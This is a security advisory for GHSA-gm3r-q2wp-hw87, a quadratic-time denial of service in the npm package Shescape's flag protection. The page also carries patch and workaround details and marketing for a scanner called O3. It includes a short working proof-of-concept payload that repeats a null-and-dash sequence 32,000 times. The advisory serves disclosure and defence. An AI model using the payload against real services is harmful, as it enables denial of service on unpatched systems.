GHSA-gm3r-q2wp-hw87
Shescape: Quadratic-time denial of service in the flag-protection
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
shescapenpmDescription
Impact
This impacts users of Shescape that have flag protection enabled, which is on by default, regardless of the API being used.
An attacker can cause a runtime quadratic in the input size, causing denial of service for large inputs.
import { Shescape } from "shescape";
// 1. Prerequisites
const options = {
//flagProtection unspecified
// Or
flagProtection: true,
};
// 2. Payload
let payload = "\u0000-".repeat(32000);
// 3. Usage
const shescape = new Shescape(options);
let callback;
callback = () => shescape.escape(payload);
// Or
callback = () => shescape.escapeAll([payload]);
// Or
callback = () => shescape.quote(payload);
// Or
callback = () => shescape.quoteAll([payload]);
const t0 = process.hrtime.bigint();
callback();
const ms = Number(process.hrtime.bigint() - t0) / 1e6;
// 4. Impact
console.log("Duration:", ms);
// Outputs "Duration:" followed by a number close to 20000
Patches
This bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now.
If you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3.
No patches will be released for version of Shescape lower than v2.0.0.
Workarounds
Alternatively, users of Shescape can 1) put restrictions on the length of untrusted input or 2) strip all content before the last - from untrusted inputs.
For more information
- Comment on Pull Request [#2651] for v2 and [#2649] for v3
- Comment on commit [b4b34c3] for v2 and [43d70b5] for v3
- Open an issue at https://github.com/ericcornelissen/shescape/issues (New issue > Question)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | shescape | ≥ 2.1.11&&< 2.1.14 | 2.1.14 |
| 📦npm | shescape | ≥ 3.0.0&&< 3.0.1 | 3.0.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for shescape. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update shescape to 2.1.14 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gm3r-q2wp-hw87 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-gm3r-q2wp-hw87 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-gm3r-q2wp-hw87. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-gm3r-q2wp-hw87 in your dependencies?
O3 detects GHSA-gm3r-q2wp-hw87 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.